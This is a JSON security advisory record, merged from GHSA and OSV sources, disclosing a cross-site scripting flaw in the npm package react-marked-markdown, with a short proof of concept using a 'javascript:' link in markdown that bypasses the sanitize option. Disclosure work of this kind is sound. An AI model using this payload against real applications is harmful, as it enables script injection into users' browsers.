{"id":"GHSA-m7qm-r2r5-f77q","aliases":[],"status":"published","title":"Cross-Site Scripting in react-marked-markdown","description":"All versions of `react-marked-markdown` are vulnerable to cross-site scripting (XSS) via `href` attributes. This is exploitable if user is provided to `react-marked-markdown`\n\nProof of concept:\n\n```\nimport React from 'react'\nimport ReactDOM from 'react-dom'\nimport { MarkdownPreview } from 'react-marked-markdown'\n\nReactDOM.render(\n\u003cMarkdownPreview\nmarkedOptions={{ sanitize: true }}\nvalue={'[XSS](javascript: alert`1`)'}\n/\u003e,\ndocument.getElementById('root')\n)\n```\n\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not install or use this module at this time if you allow user input into href values.","facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-79"],"published":"2020-09-01T20:43:48Z","modified":"2023-01-09T05:03:45Z","affected":[{"source":"ghsa","ecosystem":"npm","package":"react-marked-markdown","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.0"}]}]},{"source":"osv","ecosystem":"npm","package":"react-marked-markdown","ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0"}]}]}],"references":[{"url":"https://github.com/Vincent-P/react-marked-markdown/issues/61","tags":["web"]},{"url":"https://hackerone.com/reports/344069","tags":["web"]},{"url":"https://www.npmjs.com/advisories/668","tags":["web"]},{"url":"https://github.com/advisories/GHSA-m7qm-r2r5-f77q"},{"url":"https://github.com/Vincent-P/react-marked-markdown","tags":["package"]}],"sources":{"ghsa":[{"id":"GHSA-m7qm-r2r5-f77q","title":"Cross-Site Scripting in react-marked-markdown","description":"All versions of `react-marked-markdown` are vulnerable to cross-site scripting (XSS) via `href` attributes. This is exploitable if user is provided to `react-marked-markdown`\n\nProof of concept:\n\n```\nimport React from 'react'\nimport ReactDOM from 'react-dom'\nimport { MarkdownPreview } from 'react-marked-markdown'\n\nReactDOM.render(\n\u003cMarkdownPreview\nmarkedOptions={{ sanitize: true }}\nvalue={'[XSS](javascript: alert`1`)'}\n/\u003e,\ndocument.getElementById('root')\n)\n```\n\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not install or use this module at this time if you allow user input into href values.\n","status":"published","published":"2020-09-01T20:43:48Z","modified":"2023-01-09T05:03:45Z","cwes":["CWE-79"],"updated_at":"2026-11-02T14:36:06.317379Z"}],"osv":[{"id":"GHSA-m7qm-r2r5-f77q","title":"Cross-Site Scripting in react-marked-markdown","description":"All versions of `react-marked-markdown` are vulnerable to cross-site scripting (XSS) via `href` attributes. This is exploitable if user is provided to `react-marked-markdown`\n\nProof of concept:\n\n```\nimport React from 'react'\nimport ReactDOM from 'react-dom'\nimport { MarkdownPreview } from 'react-marked-markdown'\n\nReactDOM.render(\n\u003cMarkdownPreview\nmarkedOptions={{ sanitize: true }}\nvalue={'[XSS](javascript: alert`1`)'}\n/\u003e,\ndocument.getElementById('root')\n)\n```\n\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not install or use this module at this time if you allow user input into href values.\n","status":"published","published":"2020-09-01T20:43:48Z","modified":"2021-09-24T20:35:29Z","cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:51.463834Z"}]}}
